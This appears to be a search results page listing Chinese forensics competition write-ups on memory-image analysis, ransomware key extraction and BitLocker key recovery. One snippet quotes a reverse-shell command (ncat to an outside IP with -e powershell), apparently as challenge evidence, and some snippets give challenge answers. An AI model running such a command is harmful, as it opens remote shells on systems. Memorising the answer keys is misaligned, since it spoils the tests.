全站搜索

2026平航杯 内存取证题解析

平航杯

命中正文 ...Q4_K_P.gguf | | 运行方式 | 本地 | 任务信息 题目范围：Q1-Q6（内存取证-1 至 内存取证-6） 检材：Windows 内存镜像 DESKTOP-3943OKD-20260403-014746.dmp（4GB crash dump, full dump） 辅助检材：E01...

2026平航杯内存取证（StarMem）

平航杯

第三届 “聚合獬豸杯” 全国电子数据取证大赛【全解】

獬豸杯

命中正文 ...rtext} 0x06 检材6-内存取证 背景 plain 公司某员工的电脑感染了勒索病毒，所有办公文档都被加密。安全团队在病毒仍在运行时制作了内存镜像。要求从内存镜像中提取加密密钥，解密被加密的最重要文档，获取其中的 flag。 内存取证做得少，比赛不太会o(╥﹏╥)o，学习一下玫大佬http...

2026盘古石预赛 计算机取证题解析

盘古石杯

命中正文 ...-HauhauCS-Aggressive-Q4_K_P.gguf | | 运行方式 | 本地 | 任务信息 题目范围：Q1-Q56（刘洋E01+内存镜像 + 黄志远E01） 检材： 刘洋 liuyang_pc.E01 (30GB, SHA1: 5bc41890367e9c79c6b415c922...

2026盘古石杯线下计算机

2026盘古石杯线下

命中正文 ...率 b2c138a2d0cd8faf3c4de131ce20ce67.jpg 韦明辉 分析 PC中两个分区均被 bitlocker 加密，给了个内存镜像，所以是从内存中提取BitLocker解密文件 这里提一下efdd、passware kit等软件恢复BitLocker恢复密钥原理： 使用内存...

2026 第三届聚合"獬豸杯" (write up)

第三届 “聚合獬豸杯” 全国电子数据取证大赛

命中正文 ...入 &Size（4字节）。 因此，​密文数据的起始偏移 = 第一次写入长度 + 第二次写入长度 = 4字节 + 4字节 = 8字节​。 6.请从内存镜像中提取本次加密所使用的对称密钥，该密钥的长度是多少字节？【答案格式：数字】 可以在函数列表找到加密函数 这两个函数 CryptReleaseCo...

2026 第四届"盘古石杯" 晋级赛 全解(write up)

盘古石杯

命中正文 ...10. 分析刘洋liuyang_pc.E01检材，请给出计算机内Bitlocker加密分区恢复密钥的前6位？[答案格式:6位数字] 原理:通过内存镜像来解密。 ​当 BitLocker 加密卷处于"已解锁/已挂载"状态时，解密所需的密钥——卷主密钥（VMK）或全卷加密密钥（FVEK）——会以明...

2026平航杯wp

平航杯

命中正文 ...夹 然后将全部导出让ai分析文件夹，在e08a2d72-f8cc-4b5a-a903-6f88b670572a.jsonl文件中看到指令 倩倩的内存镜像 67. 【填空题】请分析倩倩的PC内存镜像，识别当前正在运行且持有微信数据库解密密钥的微信进程，并提取该进程的进程标识符（PID）？【答案格式...

四川省大学生数据采集与分析大赛（取证赛道）初赛

四川省大学生数据采集与分析大赛（取证赛道）

命中正文 ...实际结果填写 【填空题】 找出火狐浏览器进程的退出时间为？ 格式：1970-01-01 00:00:00 UTF+08:00 【填空题】 找出该内存镜像生成时，跟随系统启动的启动项程序有几个？ 格式：1234 【填空题】 找出15172614566是谁的手机号？ 格式：张三 【填空题】 找出该内...

2026盘古石初赛wp（计算机+服务器）

盘古石杯

命中正文 ...0.分析刘洋liuyang_pc.E01检材，请给出计算机内Bitlocker加密分区恢复密钥的前6位？[答案格式:6位数字] 560615 有内存镜像，那就可以直接拿内存镜像爆破Bitlocker密码了（efdd会快很多，但是我没有破解版） 得到密码 560615-577522-342881-...

2025平航杯【新手入坑&手搓版】

2025平航杯

命中正文 0x00 前言 题目给出的附件是一个无扩展名的大文件，因此一开始不能直接默认它是磁盘镜像、压缩包或者内存镜像。正确做法是先根据文件大小、文件头、文件尾这些最基础的信息判断载体类型，再决定后续用什么工具 1. 先看文件基础信息 powershell $f = "平航杯题目" Get-Item $f...

2026平航杯

平航杯

命中正文 ...0.1 22 -i hello】 ncat.exe 156.238.239.253 1314 -e powershell 67.请分析倩倩的PC内存镜像，识别当前正在运行且持有微信数据库解密密钥的微信进程，并提取该进程的进程标识符（PID）？【答案格式：1234】 也是氪上金了 https://...

2026盘古石计算机部分

盘古石杯

命中正文 ...？[答案格式:6位数字] 560615-577522-342881-216865-242561-312356-584837-421597 这里拿内存镜像爆破Bitlocker密码  得到密码 560615-577522-342881-216865-242561-312356-584837-...

第四届黄河流域公安院校电子物证个人赛计算机取证

2026第四届黄河流域公安院校电子物证个人赛

命中正文 ...(ewfinfo/icat)、python-evtx、secretsdump.py、hashcat-win v7.1.2、pykeepass、Volatility3、ida、strings、stat | | 运行环境 | WSL (Windows Subsystem for Linux) + 远程Wind...

2024美亚杯个人赛

美亚杯

命中正文 ...确实是三次失败 这边直接看看 所以失败的原因是手续费不足 选D 内存取证 内存取证我们去用lovelymem做，老好用了 59. 你根据易失性(Volatility Level)优先次序，进行内存取证分析David的笔记本电脑。参考RAM_Capture_David_Laptop.RAW，以下哪一个不是程序...

2026獬豸杯WP（全解）

獬豸杯

2026獬豸杯

2026獬豸杯

2025数证杯初赛WP

数证杯